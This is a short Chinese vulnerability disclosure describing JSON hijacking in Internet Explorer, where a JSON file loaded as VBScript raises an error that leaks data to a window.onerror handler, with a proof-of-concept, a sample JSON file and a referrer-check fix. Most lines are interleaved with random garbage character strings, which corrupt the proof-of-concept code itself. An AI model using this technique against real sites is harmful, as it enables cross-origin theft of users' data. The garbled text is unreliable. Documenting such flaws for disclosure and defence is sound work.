简要描述:
}( z, B$ P! F6 C1 N& Y% E2 ], k: H; e; ]$ ~8 l' b
由于某些资源容器对数据处理不当导致json劫持漏洞.
5 P' T, h7 }9 \: d g ~1 w详细说明:/ }" D0 h. W% i$ [& S! F1 H+ O8 E
由于ie支持vbscript,所以script元素可以指定成vbscript语言:
t0 _* G2 k6 O: v9 S<script language=vbscript></script>4 u' g& |' `4 E: ^& }: O
) h0 z: l: k4 }$ e7 |. O, E+ Y0 Q
当但我们指定的是一个js格式的文件是将会发现一个异常,这使我们通过捕获这个异常的信息来获得部分json数据.% A. A/ ~8 z3 j$ f" |7 E- l) }6 J* B
漏洞证明:5 |( L N/ @" O7 _) M- S8 v, M2 L* P
<script>+ q. v# c0 {' D6 a# L3 j
window.onerror=function(_){
4 u* d1 {6 R2 {6 V+ V) salert(_)7 V- r7 ~6 u( R3 ^/ y5 E. N; ]
}* X; m' S T: D' \. b9 N
</script>9 }* _: \1 U5 ]: A' I
<script language=vbscript src=1.json></script>- p( w x% I/ y K6 ^7 }* x
1 t9 L" \2 x/ g6 I8 A! T
. k( G4 W' f6 [- q$ i0 ^: t1.json:; T' x- D' ?6 I2 R
[{"name":"sogili","age":19}]
8 c" a# L1 S+ y! S修复方案:: n3 W. F( k3 Q- u+ ], n. n
网站业务对于这个问题可以通过验证referrer是否为同源来防御 |